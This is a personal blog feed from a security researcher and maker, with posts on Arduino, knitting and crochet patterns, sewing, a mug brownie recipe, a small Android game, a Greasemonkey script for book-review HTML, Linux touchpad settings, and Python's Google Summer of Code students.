Welcome!

My name is Terri, and I'm a maker, a security researcher, an open source developer, a knitter and crocheter, a musician, a reader, a writer, a teacher, a baker, a naturalist, a photographer, and I actually do have a PhD in horribleness, as long as we can all agree that web security is kind of horrible.

Terri's latest updates

March 29, 2014

Sparkfun's Arduino Day Sale: looking for inspriation!


Arduino Day 2014


Sparkfun has a bunch of Arduinos on crazy sale today, and they're allowing backorders. It's a one day sale, ending just before midnight US mountain time, so you've still got time to buy your own! Those $3 minis are amazing.

I wound up buying the maximum amount I could, since I figure if I don't use them myself, they'll make nice presents. I have plans for two of the mini ones already, as part of one of my rainy day projects that's only a little past drawing board and into "let's practice arduino coding and reading sensor data" stage. But the rest are waiting for new plans!

I feel a teensy bit guilty about buying so many arduinos when I haven't even found a good use for the Raspberry Pi I got at PyCon last year. I did buy it a pretty rainbow case and a cable, but my original plan to use it as the brains for a homemade cnc machine got scuttled when John went and bought a nice handybot cnc router.

disassembled pibow case
A pretty picture of the pibow rainbow raspberry pi case from this most excellent post about it. They're on sale today too if you order through pimoroni

I've got a few arty projects with light that might be fun, but I kind of wanted to do something a bit more useful with it. Besides, I've got some arty blinky-light etextile projects that are going to happen first and by the time I'm done those I think I'll want something different.

And then there's the Galileo, which obviously is a big deal at work right now. One of the unexpected perks of my job is the maker community -- I've been hearing all about the cool things people have tried with their dev boards and seeing cool projects, and for a while we even had a biweekly meet-up going to chat with some of the local Hillsboro makers. I joined too late to get a chance at a board from the internal program, but I'll likely be picking one up up on my own dime once I've figured out how I'm going to use it! (John already has one and the case he made for it came off the 3d printer this morning and I'm jealous!)

So... I'm looking for inspiration: what's the neatest arduino/raspberry pi/galileo/etc. project you've seen lately?

comment count unavailable comments

March 29, 2014 07:45 PM

March 02, 2014

Google Summer of Code: What do I do next?

Python's in as a mentoring organization again this year, and I'm running the show again this year. Exciting and exhausting!

In an attempt to cut down on the student questions that go directly to me, I made a flow chart of "what to do next" :

gsoc

(there's also a more accessible version posted at the bottom of our ideas page)

I am amused to tell you all that it's already cut down significantly on the amount of "what do I do next?" emails I've gotten as an org admin compared to this time last year. I'm not sure if it's because it's more eye-catching or better placed or what makes it more effective, since those instructions could be found in the section for students before. We'll see its magical powers hold once the student application period opens, though!

comment count unavailable comments

March 02, 2014 06:45 AM

February 09, 2014

The naming of things

My former hackerspace, in fundraising for the new space, offered up a reward tier that let you name one of the rooms, which was a pretty fun perk. "My" room is going to be #16 on this map, the larger of the two electronics labs:

680_Haines_NW-Floorplans_numbered_mods_marked

Being the sort of person I am, I named it the "Pink Fluffy Unicorn Dancing on Rainbows Laboratory" thanks to this earwormy video. (Original song here, punk version here.)



They can call it PFUDOR labs for short or something. I actually proposed it as a joke when the campaign first was getting set up, but it got so many laughs that I decided it was actually kind of fun to have a name that really didn't take itself too seriously.

A few days after I made the official declaration, I got an email from an adult male friend there, bemoaning my choice of names in a gentle, joking, but also a little bit sincere way.

He is a friend and I don't want to mock his words in public, but I saw the email and thought THIS IS HOW I KNOW I HAVE CHOSEN THE RIGHT NAME. If this even a little hurts the manhood of even someone who knows me and my sense of humour, then you know that the anti-girly sentiment often prevalent in hacklabs is going to be rankled by this for as long as the space lasts. So now not only do I get to earworm my friends, but I run the risk of affronting people who haven't quite dealt with their own minor misogyny? And maybe give the hacklab an excuse to fill a space with rainbows, with all the connotations thereof? That actually kind of sounds like a bigger social win than I was intending, but maybe, just maybe, it'll combine with the already excellent people at Quelab to help keep the space as friendly and fun as it can be.

So next up I'm going to be buying a friend's pony patterns, a bunch of stuff from adafruit, some fabric, and I'll be making a hilarious e-textile pony with glowing rainbow neopixels to go in the space. Because I am not very subtle. ;)

comment count unavailable comments

February 09, 2014 06:22 PM

February 03, 2014

Pictures of knitting in sunlight (a work in progress)

I don’t tend to share work-in-progress shots for a few reasons:

1. I knit a lot on the go, where it’s not too convenient to take pictures.
2. I am really really bad at processing all my photos, and more of them just adds to the laod.
3. I just don’t think of it.

But I did think of it today, and it’s gotten me thinking a bit about useful general photography tips I need to remember when knitting:

Knit photography #1: Be careful of focus and depth of field

I love small depths of field in general photography and beautiful bokeh (aka the blurry bits) and all, but when taking pictures of my knitting, I need to make sure that the focus is where I want to be, and covers enough of the area around where I’m trying to draw the eye:

My very sparkly stitch marker

So here, I’m taking a picture of my pretty little stitch marker, and I’ve only left a small row of knitting in focus.

Since this is a maker blog, I’ll say that I made the stitch marker myself, for values of “made” that include “I bought a bunch of beads that had rings through them and separated them then re-closed the circles.” My project *sparkles* in the sun right now thanks to the beads, which is fun when I’m actually knitting in the sunbeam.

The narrow depth of field actually works well for something that small, but when I’m showing a series of stitches, I have to remember to adjust my photography style so that people can see the stitches well.

That can mean making sure the section is really flat:

Triangle lace stitch thing

Or it can mean just making sure the depth of field is big enough for the area in question:

Sweater Neckline with simple lace holes

Knit photography #2: Yarn has weird light properties

Colour Whorl

When you look up close at yarn, you can usually see that it’s at least a little bit fuzzy. This helps make it warm and soft, but also means it has some weird light properties where it will seriously glow given enough light. This can be awesome, or it can be really irritating, but the important thing to remember is that photographing knit/crocheted fabrics in bright light can be challenging in different ways, and each yarn is going to be a little different.

The extreme contrast isn’t always a bad thing: it can help you showcase lace. In theory. In reality, I always seem to end up with hyper-real photos, or ones with huge dark patches that just don’t look right:

Trying (and failing) to showcase some lace

And the sun is pretty bright already, so even if the yarn didn’t pick up the light so well, it could be a mess:
Demonstration of knitting photography in the sun and why it can be challenging

You can fix these things, of course, with some messing around in lightroom/photoshop, but then you lose out using the extreme contrast to show stitch definition, and you can make the project look a little dull:

Demonstration of knitting photography in the sun and why it can be challenging (2)

I suspect it’s going to take a lot more experimentation before I can quickly snap off a few photos in sunlight! But for now, I’ll be thinking critically about what I do and practicing doing it until I feel like I’ve got the kind of photos I want for matching with my patterns.

And with that, I give you one more photo where I’m proud of the light. This one showcases the rainbow nature of my stitch markers:

Rainbow stitch marker

So pretty!

by Dr. Terri at February 03, 2014 02:54 AM

January 27, 2014

Colour-changing Nintendo 3DS XL case

My brother got me a Nintendo 3DS XL for Christmas this year, and he picked out exactly the one I would have chosen for myself, a special edition with the new Mario and Luigi RPG. (Of course, he’s the one who got me hooked on those games in the first place…)

It’s a beautiful little piece of hardware, and I’ve been carrying it around incessantly not only so I can play it at lunch, but also because the 3DS has some sort of meta games where you get points for walking around and for passing other people who also have 3DSes. As I am mildly obsessed with games that involve walking (I’m working on creating one for me and my sister to play together, but that’s another story), this means that the 3ds lives in my purse or backpack and I was worried about it getting horribly abused.

Thankfully, I have a sewing machine and I’m not afraid to use it!

So here’s my new DS case:

Colour-changing Nintendo 3DS case

I was originally going to make this quick and just do two seams up the side and not finish any of the edges. But once I’d started, it seemed so easy to just put some nicer square corners in by sewing across the ends and then finish the top. The fabric’s a bit hard to keep straight because it’s thick and a bit grippy so it’s not my best machine work, but I remember learning how to square corners like this in home ec in grade 7:

Colour-changing Nintendo 3DS case

Wait, you may say, what’s with that weird yellow corner? See, here’s where it gets interesting…

Colour-changing Nintendo 3DS case

Yup, that fabric is changing colour based on temperature. (Also, check out my strangely coincidentally matching manicure!) Remember those old Hypercolor shirts from the 80s/90s?

Colour-changing Nintendo 3DS case

The fabric was part of a sampler box that Quelab got filled with weird samples of sparkly plexiglass and thin veneers and, apparently, some colour-changing industrial fabric. I think it came from instructables? It was filled with interesting materials for projects, anyhow. I am still sad I never found a use for the sparkly plexi, which I refused to take until I had a plan for it, but Adric convinced me that it was cool if I took a chunk out of the very large (and slightly damaged) piece of colour-change fabric.

I’d been trying to think of something sufficiently interesting to do with it, something that sufficiently highlighted the colour change, and maybe the fact that it’s actually sufficiently transparent that you can see a LED through it:

Colour-changing Nintendo 3DS case

But today, as I was flipping through my small fabric collection trying to find something for the 3ds case, I decided that just something I’d be using all the time is sufficiently interesting and gives me a chance to play with it and show it off regularly. Plus, I’m looking forwards to seeing the heat spots in my purse, which is filled with many power-hungry electronics like the 3DS.

It’s already fun for demonstrating how quickly evaporative cooling works. Look, let me draw a wet line on the case and then blow air on it…

Colour-changing Nintendo 3DS case

(Fun fact for those of you who don’t live in the desert: New Mexicans cool their houses with evaporative cooling, also known as a swamp cooler, which is a formalized version of a wet towel over a fan, ’cause mold and mildew isn’t so much of an issue in the desert. So you think a lot about evaporation when you live there for 2 years… and then move to the west coast almost-rainforest. Will my clothes ever line dry here?!)

Colour-changing Nintendo 3DS case

I don’t like being all “perfect is the enemy of good” or the sort of uncluttering fanatic who gets rid of things because there’s no immediate use for them, but there is something very satisfying about actually using an item I’d saved rather than having a never-diminishing collection of “cool things that I should use for something.”

Of course, I still have a little bit of fabric left…

by Dr. Terri at January 27, 2014 01:43 AM

January 21, 2014

Vampire Sleeves (sort of a shrug?)

I was out shopping one day with a friend and saw this book:

Vampire Knits: Projects to Keep You Knitting…
Vampire Knits: Projects to Keep You Knitting from Twilight to Dawn
by Genevieve Miller

I didn’t buy it right then, because I didn’t know how to knit and wasn’t sure what I’d do with it, but apparently it stuck with me because I picked it up later thinking I’d give it as a present or something… but then I learned to knit. So now it’s mine, all mine!

I’m not much for making full sweaters yet, because I’ve learned that projects that don’t fit in my purse never get finished. But I figured a pair of sleeves wouldn’t be too bad… but it still took me a year to finish them because I kept getting sidetracked by other things I had to try.

I just call mine vampire sleeves because of the book they came from, even though they don’t look very vampire-y in the colour I chose!

Here I am, smugly showing them off:
Vampire sleeves

One of my pet peeves in clothes is having them too snug across the shoulders, so I’m pleased to report that the lace here is pleasantly stretchy:

Vampire sleeves

The only problem with them is that the lovely autumn browns I chose don’t really match a whole lot of my clothing. They look good with the dark blues and blacks, but not so much with the reds I don’t think and definitely not with anything that has pink tones. When I was looking for something to wear with them for these photos, I was amused to discover that they mostly matched my ereader cover:

Vampire sleeves

My favourite part is the yarn. It was Shimmer hand-dyed lace yarn from Knitpicks, which I’ve only just found out was discontinued. Sadness! It was such a joy to knit with.

The pattern is relatively simple, well-written, and the photography is lovely. It really is just a pair of sleeves, opened up at the back and grafted together. I do like that the lace pattern causes the ends of the sleeves to be a little wavy:

Vampire sleeves

Pattern: Sidhe Shrug by Ashley Fay.

by Dr. Terri at January 21, 2014 04:00 PM

January 20, 2014

Mystery Munch: A Simple Android Game

I’ve been brushing up on my android skills for work, since I’ll be helping do security reviews on Android apps. Since I hadn’t written an app in ages, I thought it would be fun to take an Android 101 course on coursera just to force myself to do a couple of assignments and learn some of the things that come from actually writing the code and not just reading about it.

Some of these things-you-only-really-learn-by-doing kind of suck, like where I hit a bug in the hardware acceleration that caused me to lock up my entire computer requiring a hard reboot. Or discovering that making screenshots from the Nexus 7 emulator is apparently a Sisyphean task.

Frustrations about the fiddly bits of development aside, the assignment was ridiculously easy (although given that I used to *teach* a mostly equivalent Java course, that’s not a surprise — I’m really only in this for the deadlines, although the prof’s forays into computer history are pretty fun too.) The first part was an explicitly-defined app that I didn’t find interesting, but the second was “make an app of your choosing!”

So here’s what I chose:

Screenshot for

Screenshot for “Mystery Munch” — my very simple android game

Mystery Munch is half a battleship game: you click around to find the “food” hidden in the grid. It has no graphics, but it’s smart enough to make random layouts and notice when you won.

I always liked marking the game assignments best, back when I was a teaching assistant, so I figured I’d make a very simple game to amuse my peer reviewers.

The apk is here, if you actually want to play. I’ll get the source code up later once I figure out how I want to share it. Additions to the game will be welcome if anyone wants to make something from it!

This is the product of a Sunday afternoon of coding (I’ve been doing the course on work time, but I figured to save questions about releasing this code, I’d do it entirely on my own time), so it’s not amazing, but it’s mine and I’m amused by it! I’m thinking I might make some silly little pixel art to make it prettier and do some iterative improvement just because I can, if I don’t get sidetracked by another game I’ve been wanting to make for a while…

Incidentally, in case anyone’s wondering: I totally aced the assignment, and it seems I amused my peer reviewers. Mission accomplished!

by Dr. Terri at January 20, 2014 05:49 AM

January 17, 2014

Baby bunny! (Amigurumi)

It’s after Christmas, so you’d think by now I’d be digging out the photos of all the projects that became christmas presents. But no, I’m going to dig back a little further to one I forgot from this summer…

This little amigurumi bunny was just so charming that I decided to make her for baby V:

Baby bunny for V

My favourite part is the little mohair fluffy grey tail:

20130722-IMG_0277.jpg

This is a pattern where the details really matter, so while finishing the bunny body didn’t take very long (I think I finished most of her in an afternoon at Quelab), getting her nose and ears sewn just so took me a while. Despite the little bit of fussiness, I think this is my favourite bunny pattern yet, and maybe sometime I’ll make another with more patterned fabric as the original pattern suggests.

The pattern is free on Ravelry: Crochet Spring Bunny by Stephanie Jessica Lau

by Dr. Terri at January 17, 2014 08:08 AM

December 09, 2013

Warthog9′s blue gloves

John and I have been playing an augmented reality game called Ingress for some time. The reason this is relevant to this post is twofold:

1. We spend a lot of time walking around outside in the cold using our smart phones
2. We’re on the blue team.

I have some lovely purple gloves I made myself ages ago that I use for being out and about, but John couldn’t find his “hobo gloves” (aka smoker’s gloves, aka convertible mitt-glove things) in the chaos of our move, so I set about making him some new ones. Of course, he totally found the hobo gloves before I finished (by *hours* I might add. I was so close!) but in the rainy northwest, I expect having more than one set of gloves is advised.

John's blue gloves

The pattern is Twisty Sister Cabled Handwarmers
by Kate Gondwana
. I was drawn to the nice cable pattern on the back:

John's blue gloves

Since John has wide but not very long hands and likely would just be annoyed by longer gloves going well under his long coat sleeves, I used the “large” size guidelines but took out a repeat so that they’re a bit shorter, as recommended in the pattern as a way to adjust. Horray for well-written patterns! I particularly liked that this one had both charts *and* written instructions, as while I prefer charts sometimes I find it easier to understand the written if I’m not sure where something should start.

John's blue gloves

And finally, since someone complained that I didn’t have any pictures of people wearing the fox hat of my last post, here’s a few more pictures of John:

In this one, he is telling me that I need to photoshop in some Wolverine claws for appropriate effect. I leave this as an exercise to the reader.
John's blue gloves

And in this one, I think he looks amazed that he has fingers. Let it never be said that he’s too jaded to enjoy the mysteries of the universe!
John's blue gloves

PS – In case you were also wondering about the dearth of baby photos in the last post (a) the hat was waaaaay too big so I don’t think she’ll be trying it on for a while yet unless daddy decides hilarious oversized hat would make for adorable photos (b) baby V’s parents have been sharing photos of her with select family and friends, not the entire internet, so there may not be photos of her available to the rest of you even when she grows into it, unless she grows up to want to share them herself much much later. Sorry! My sister put on the hat (to see if it really fit a small adult) and says if we find that photo I can put that up instead.

by Dr. Terri at December 09, 2013 06:41 AM

November 07, 2013

Little Fox Tail

When my friend K announced that he and his wife were expecting their first child, I threatened to make an inordinate number of animal hats for the kid. The first of these turned out to be a Failynn Fox Cowl, which while adorable, is also much too big for a newborn no matter what the pattern said. See the picture? Those are my full-sized adult glasses. In a pinch, I could wear this hat, and while I’m a smaller adult, I’m not that tiny.

Failynn Fox Cowl + Fox Tail

In for a penny in for a pound: I figured if it wasn’t going to be a newborn sized present, I should make it more toddler-friendly an add a tail so it could be more of a costume. Unfortunately, there weren’t any tail patterns around that matched what I wanted, so I had to make my own.

Toddler Friendly Tail

Little Fox Tail

- Extra Bulky Yarn in two colours (I used orange and white)
- 9mm needles, either two circulars or a set of DPNs

Row 0: Cast on 16 and join ends, being careful not to twist
(I cast 8 on each circular, but whatever works for you.)
Row 1-2: k16 (all the way around)
3: {k1, increase, k3} 4 times (20)
4: k20 (all the way around)
5: {k1, increase, k2} 6 times, k2 (26)
6-11: k26 (all the way around)
12: {k2tog, k3} 6 times, k2 (22)
13: k26 (all the way around)
14: {k2tog, k9} 2 times (20)
15: k20 (all the way around)
16 {k2tog, k4} 4 times (16)
17: Change to second colour (white in my case), k16
18: {k2tog, k3} 4 times (12)
19: k12
20: {k2tog, k2} 4 times (8)
21: k8
22: {k2tog, k1} 4 times (4)
tie off to make a nice little point on the tail

I also made a seed stitch belt to attach the tail to, but for some reason I never took a picture of that. It’ll be a while before baby V gets big enough to want to play with this, but hopefully it’ll be fun when she grows into it!

Failynn Fox Cowl + Toddler Tail

by Dr. Terri at November 07, 2013 08:00 AM

October 24, 2013

The Science of Household Tips: Does vinegar actually set dye in jeans?

When I bought my latest pair of jeans, the nice lady who helped me find them advised me to wash them with a cup of vinegar the first time, to better set the dye. I didn't think much of it, until I wore the jeans before washing them and ended up with mildly blue thighs. So clearly pre-washing would have been a good idea, but.. does vinegar actually set dye?

Googling this mostly turned up a bunch of people parroting the same tip. Which would be reassuring if I didn't know that the internet is a sucker for feasible-sounding tips regardless of they make sense or work. (Witness: Pinterest vs Pinstrosity)

My research turned up the following claims, from the ever-reputable source of "people on the internet"

1. Vinegar totally helps set dye in jeans
2. Vinegar totally helps set dye... but not in cotton, so you're wasting your time with jeans.
3. For jeans, you should really use salt, not vinegar
4. Actually, you shouldn't wash jeans at all
5. It doesn't matter, but for the love of all that is blue, wash your jeans in cold water
6. You need to wash your jeans inside-out
7. Mine totally leaked dye so I gave them away and bought new ones!

But 0% of these came with sources that gave me any indication if these were really legit or just old wives tales. I don't need scientific journal papers, but you'd think there'd at least be a science fair project or tests from some sort of cross between consumer reports and good housekeeping.

So where do you go for figuring out if there's actually any proof behind household tips like this?

comment count unavailable comments

October 24, 2013 07:40 AM

October 18, 2013

I'm joining Intel's Open Source Technology Center!

I'm pleased to announce that I will be joining Intel's Open Source Technology Center (OTC), starting October 21st.

This is a big transition for me: not only have I physically moved to the Portland area from Albuquerque, but I'm also moving from academia to industry. However, I'm not moving away from either security or research: my official job title is "Security Researcher - Software Security Engineer."

There are lots of crazy smart people at Intel, especially at OTC, and I'm really excited (and a little scared!) about joining their ranks. This is exactly the job I wanted: I'll be doing security in an open source context (not only behind closed doors!), working with interesting people on interesting projects, and I'll be positioned such that my work can have an impact on the state of computer security in a global sense. It sounds like I'll be working primarily on web and Android security, which is challenging, fascinating, intimidating, and highly important. Wish me luck!

comment count unavailable comments

October 18, 2013 06:08 AM

October 17, 2013

Book review code

One of the things that bugs me when I'm doing book reviews is that I prefer it when reviews have a picture of the cover and link to the book of some sort, but I didn't love the output from Amazon's referal link generator, which would have been the easiest solution. I've been doing it manually, but that's a lot of cut and pasting and I kind of abhor doing tasks that are easy to automate.

Thankfully, I'm a coder and a user of greasemonkey, so I have all the skills I need to automate it. Seriously, being able to tweak web pages to suit my own needs is the greatest thing.

In the spirit of sharing, here's the script I'm using to generate the code I wanted for my reviews using the book page on LibraryThing:

// ==UserScript==
// @name        Book review header generator
// @namespace   tko-bookreview
// @description Takes any librarything book page and gives me a nice link to the book with cover and author details
// @include     http://www.librarything.com/work/*
// @version     1
// @grant       none
// ==/UserScript==

// Get all the data we'd like to display at the top of a review
var coverimage = document.getElementById('mainCover').outerHTML;
var title = document.getElementsByTagName('h1')[0].innerHTML;
var author = document.getElementsByTagName('h2')[0].innerHTML;
var librarythinglink = document.URL; 


// Trim down the title and author info
title = title.replace(/ *<span .*<\/span>/, '');

author = author.replace(/href="/, 'href="http://www.librarything.com');
author = author.replace(/<hr>/, '');

// Generate the code for this book
var reviewheader = '<a href="' + librarythinglink + '">' + 
   coverimage + '<br />' +
   '<b>' + title + '</b></a> ' +
   '<em>' + author + '</em>';

// Add code around this for embedding it into the page
var textbox = '<h4>Review Code</h4>' +
	'<textarea name="embedHTML" onFocus="this.select();" rows="5" ' + 
	'style="width: 250px;" wrap="virtual">' + reviewheader + '</textarea>';


// Find a good spot and add it to the page
var insert = document.getElementsByClassName('gap')[0];
insert.outerHTML =  textbox + insert.outerHTML;


Please feel free to consider this open sourced and free for any type of use: alter it to suit your needs as you will!

Edit: Github link, for those so inclined.

comment count unavailable comments

October 17, 2013 11:33 PM

September 17, 2013

Brownie in a Mug (or Chocolate Lava Cake in a Mug)

My sister introduced me to this brownie in a mug recipe because she is the bestest sister ever. I tried it out today and it’s everything I imagined, even if I did it “wrong.”

Here’s some pictures:

Almost everything you need for brownie in a mug

Almost everything you need for brownie in a mug

That’s everything you need for brownie in the mug, well, almost:

1/4 cup flour
1/4 cup sugar
2 Tbsp cocoa
Pinch of salt (not pictured ’cause I usually don’t bother with it)
Pinch of cinnamon (original calls for a tiny pinch but I was a lot more generous.)
1/4 cup water
2 Tbsp oil (not strong flavoured, according to the original recipe)
1 to 2 drops vanilla extract

Basically, put it in the mug and mix, then stick the whole thing in the microwave.

I mixed the dry up first, since my sugar is pretty lumpy at the moment (apparently no one ever told my boyfriend that one must actually keep the sugar container sealed…).

Mixing the dry ingredients

Mixing the dry ingredients

Then added the wet. If you’re like me and use a pipette to handle “1 or 2 drops” lest there be a vanilla disaster (yummy but expensive), you can rinse it out using the water that’s going into the cupcakes anyhow.

Rising out the pipette

Rising out the pipette

And mix. Bubble bubble, toil and trouble, eh?

Bubbling uncooked mug o' brownie

Bubbling uncooked mug o’ brownie

Since there’s no egg in this recipe, you can lick the spoon (well, fork in my case). This is a good way to test if the pinch of cinnamon was really enough. In my case, it was, but I’m thinking next time it’ll be cinnamon and cayenne for a mexican mug o’ brownie. Can take the gal out of New Mexico, but you can’t take the New Mexico out of the gal, eh?

So from there, you stick it in the microwave and cook it. The original recipe says 1 min 40 sec worked for them. I decided to try 40s to start (since my new microwave is huge) and got this:

Partially cooked brownie in a mug

Partially cooked brownie in a mug

Now if I was sensible, I’d have put it back in and finished “baking” my brownie in the mug. But instead, I thought, “hey, there’s no egg, and that looks like it’d be delicious…”

And thus was born “chocolate lava cake in a mug”

Chocolate lava cake in a mug

Chocolate lava cake in a mug

Warning: even at 40s cook time, this was crazy hot. So hot that I wrote most of this post waiting for it to cool.

Now, while this brownie/lava cake was everything I wanted right now, I’m apparently not capable of making anything without contemplating ways to make it different, so here’s a list…

Other things I’d like to try:

There’s no reason you have to stick with vanilla extract. I’m going to try a few others since I have them: mint, cherry, banana, maybe root beer since it’s one of the many extracts we have in the house.

As I said, I think this would be really excellent with a bit of cayenne to make a Mexican-style chocolate. I’ll bet it’d be nice with a bit of ground ginger, too.

Chopped peanuts (or other nuts) would probably be amazing on top. Why not make a whole sundae out of it? The original recipe recommends ice cream, even if I didn’t have any on hand, having just moved. I bet sprinkles would be fun if you’re doing it with kids, just don’t add them ’till after the brownie is cooked.

Chocolate chips might work in the mix. I’m worried it might be overkill, but there are days where overkill chocolate brownie sounds like exactly what I need.

Finally, my sister had warned me, and she’s right: this makes about twice as much brownie as I actually want. So next time, I’ll also be cutting the recipe in half. For reference, here’s what my next attempt will look like:

Small brownie in a mug

2 Tbsp flour
2 Tbsp sugar
1 Tbsp cocoa
Pinch of salt
Pinch of spice (cinnamon, cinnamon+cayenne, ginger, etc. Optional.)
2 Tbsp water
1 Tbsp oil (canola or veggie oil, not olive)
1 to 2 drops extract (vanilla, cherry, whatever)

Cook time will decrease accordingly.

by Dr. Terri at September 17, 2013 12:42 AM

August 21, 2013

My Little Robot

A number of weeks back, it occurred to me that as an adult with disposable income, I could buy a robot anytime I wanted to. So I did. Or rather, I bought a kit to build my own robot. I haven’t had as much time to play with as I’d like (the downside to being an adult with a job), but I’m hoping to take it out to Albuquerque Mini Maker Faire this weekend, so I’ve been experimenting with programs to show it off.

Here’s a video:

Cute, eh? That was just me making sure that the sensor “whiskers” work, but it’s kind of a convenient program because I don’t have to worry about it falling off the table. Right now, I know how to make it flash lights, move the wheels, and make noise with the little speaker on top, so either I should make a box for it to play in and teach it to do basic collision avoidance, or maybe work on a program where people can touch it and have it react, much like the one it’s running now. I’ve only got a couple of days to finish: Maker Faire is the 24th and 25th!

by Dr. Terri at August 21, 2013 09:35 PM

July 14, 2013

Mailman Virtual Hackathon

We're having a mailman virtual hackathon right now on #mailman on freenode. The plan is to run 'till around 2300 UTC today, so another 4h or so. Link for figuring out what that means in your time zone.

We're doing a variety of things: bug triage and fixing, discussion of architecture, new feature development, helping each other with any blocking problems, spouting off crazy new ideas, code review and merging, etc. We're especially hoping to make sure we clear any issues we can relating to GSoC projects, but there's plenty of work to go around. New folk are welcome too.

If you don't read this 'till after the fact, don't despair! There will likely be another such hackathon next Sunday, July 21. Keep an eye on the mailman-developers list for more details.

comment count unavailable comments

July 14, 2013 06:47 PM

July 10, 2013

My oversensitive touchpad

This is more a note to self than anything else, but who knows, maybe someone reading is having exactly the same problem as me?

The "new" laptop has an overly sensitive touchpad, in that it seemed to be clicking at times when I didn't want it to click. While quite a few people handle this by disabling the touchpad or disabling tap-to-click, I knew from experience with my last linux laptop that this is a solvable problem under linux at least.

There's a *lot* of ways to control mouse settings, but here's the one that worked for me. In short:


xinput list
to find my touchpad device, which turned out to be id=12

xinput list-props 12 |grep -i finger
to give me a list of relevant entries

xinput set-prop 12 "Synaptics Finger" 25, 32, 256

to set it to something that seems better behaved.
According to the link above: "By increasing the second parameter, you require more finger pressure for the trackpad to respond. The first parameter controls release pressure, the third is to detect a button press (I think)."

and that seemed to match up. In my case, I needed to up the second number. While I was in there, I tweaked the two-finger settings so it'd be easier to "right click" with two fingers.

Lest it's useful to me later, here's my current settings:
terri@djpwn3:~$ xinput list-props 12 |grep -i finger
Synaptics Finger (261): 25, 32, 256
Synaptics Two-Finger Pressure (268): 256
Synaptics Two-Finger Width (269): 1
Synaptics Two-Finger Scrolling (272): 1, 1


comment count unavailable comments

July 10, 2013 06:09 PM

Google Hangouts/XMPP Server does not use any supported authentication method

With all the noise about google switching away from XMPP, I was pretty concerned when Pidgin stopped connecting to Google Hangouts (aka gtalk or xmpp) with the following error:

"Server does not use any supported authentication method"

I wasted some time updating things hoping that would solve it before I finally figured out my problem: It wsn't google changing things at all; it was me. I'd changed the hostname of my (relatively new) laptop. But what I hadn't done was put the new hostname into /etc/hosts under 127.0.0.1. A quick edit later, and the newly christened laptop is back on the air.

I found the solution here, but I had to dig for it a bit so I'm puting up this post that shortcuts to the answer without the debugging, just in case anyone else runs into this one and needs help.

comment count unavailable comments

July 10, 2013 06:25 AM

June 10, 2013

A passel of penguins

Last year at Pycon, I made a bunch of teensy amigurumi penguins to give to the friends who were sprinting on GNU Mailman with me. (Small round penguin ball pattern here) Florian commented some time later that he nearly didn’t get to keep his, as his wife is a huge fan of penguins, so since he had a new baby at home by the time of the next PyCon, I figured I knew what I should be doing: making a small pile of penguins for his family.

Amigurumi Penguins

The emphasis was indeed on small since Florian would have to fit them in his suitcase for an international flight but not too small, since they were sort of intended as baby toys. Below you can see a size comparison of the largest one (in proto-penguin form) with a spatula (made unintentionally hilarious later on when the spatula was discovered lying on a pillow in the spare bedroom and questions were asked).

Penguin + Spatula

And here’s the smallest one, with my hand for size. It may help you to know that my hands are fairly small — I can just barely play a full-sized violin and would probably be more comfortable on a 3/4. (Well, okay, I haven’t actually played the violin in years, but the point is that I have almost child-sized hands.)

Amigurumi Penguin

The patterns

The big round penguin

Amigurumi Penguin by Lion Brand Yarn. I’d made this pattern before, and it’s actually what inspired my small penguin balls from last year. It’s a very easy pattern for beginner crocheters, and you can get a fair bit of expression out of adjusting the penguin’s beak and wings.

The tall penguin

Penguin Amigurumi by Tamie Oldridge. This one’s especially fun because he has a little separate hood that you place over the top ball (hence the bowling-pin shaped proto-penguin in the photo with the spatula).

The pink penguin

Amigurumi Penguin Cell Phone Strap by Pierrot (Gosyo Co., Ltd). As you can tell from the title, this one was meant to be made with smaller yarn or cotton thread, but I scaled up so it wouldn’t be a choking hazard. People were so entertained by this one that I made a few more at the conference and gave them away too.

Here’s two pictures of one of those little wool penguins, before and after felting, with my apple power connector, watch and ring for size comparison. You can see that it didn’t get that much smaller but it definitely gets fluffier with the hand felting.

2013-03-21 00.28.082013-03-21 08.36.35

The yarns used for that one were Knit Picks palette yarns, which is one of my staples for travel since I can take small balls and a handful of stuffing and still make cute things. (If you ever feel a need to buy me hundreds of dollars of wool, you can buy a sampler pack with all the colours. I’d use them, promise!)

The felting was done by hand in the hotel using hot water from the coffee pot, a mug and shampoo from those teensy little hotel bottles. Who knew hotels contained everything you needed for hand felting? Heat water without any coffee in the machine, pour a few drops of shampoo on the penguin, dip it in the hot water, roll it around in your hands or scrub at it, rinse, repeat, replacing the water if it gets cold or too soapy.

Finally, here’s one more picture of the big pink penguin hanging out on my windowsill in Albuquerque:

Amigurumi Penguin

by Dr. Terri at June 10, 2013 05:11 PM

Python student blogs

One of the things that Python asks of all students under our "umbrella" is that they blog regularly about their projects. This helps me keep track of how all the students are doing, and helps advertise the interesting work they'll be doing to a larger community. I've set up a blog aggregator here for Python's Summer of Code Updates and you can see that folk are already talking about their projects as they settle in.

Coding starts June 17th. Here's to a great summer!

comment count unavailable comments

June 10, 2013 04:07 AM

Welcome Summer of Code 2013 students!

The Python Software Foundation has 36 Google Summer of Code students starting next week!

If you'd like to learn more about any of the student projects as they were proposed, you can also see the list and descriptions on the GSoC Website. But here's a list, grouped by project:


Core Python
Phil Webster, IDLE Improvements
Jayakrishnan Rajagopalasarma, IDLE Improvements




ASCEND
Ksenija Bestuzheva, ASCEND: dynamic modelling improvements
Pallav Tinna, Porting to gtk3 and GUI improvements




Astropy
Madhura Parikh, Astropy: Develop the Astroquery toolkit into a coherent package
Axel Donath, AstroPy: Extending the functionality of the photutils package.



GNU Mailman
Manish Gill, Mailman: Authenticated REST-API in Postorius/Django.
Abhilash Raj, GNU Mailman - Integration of OpenPGP




Kivy
Abhinav, Kivy: Kivy Designer
Ivan Pusic, PyOBJus



MNE-Python
Mainak Jas, Real-time Machine Learning for MEG in MNE-Python
Roman Goj, MNE-Python: Implement time-frequency beamformers




OpenHatch
David Lu, Data Driven Mentorship App
Tarashish Mishra, OpenHatch: Rewrite training missions using oppia (Training missions, version 2)



PyDy
Tarun Gaba, PyDy: Visualization of the simulated motion of multibody systems
Tyler Wade, wxPython Bindings for PyPy using CFFI




PyPy
Manuel Jacob, Implementing Python 3.3 features for PyPy




Pyramid
Andraž Brodnik, Better Debug tools
Domen Kožar, Substance D improvements




PySoy
Juhani Åhman, PySoy: Improve Android and HTML5 Soy clients




Scikit-Image
Chintak Sheth, scikit-image: Image Inpainting for Restoration
Marc de Klerk, scikit-image: Segmentation Algorithms as a basis for an OpenCL feasible study
Ankit Agrawal, scikit-image : Implementation of STAR and Binary Feature Detectors and Descriptors



Scikit-learn
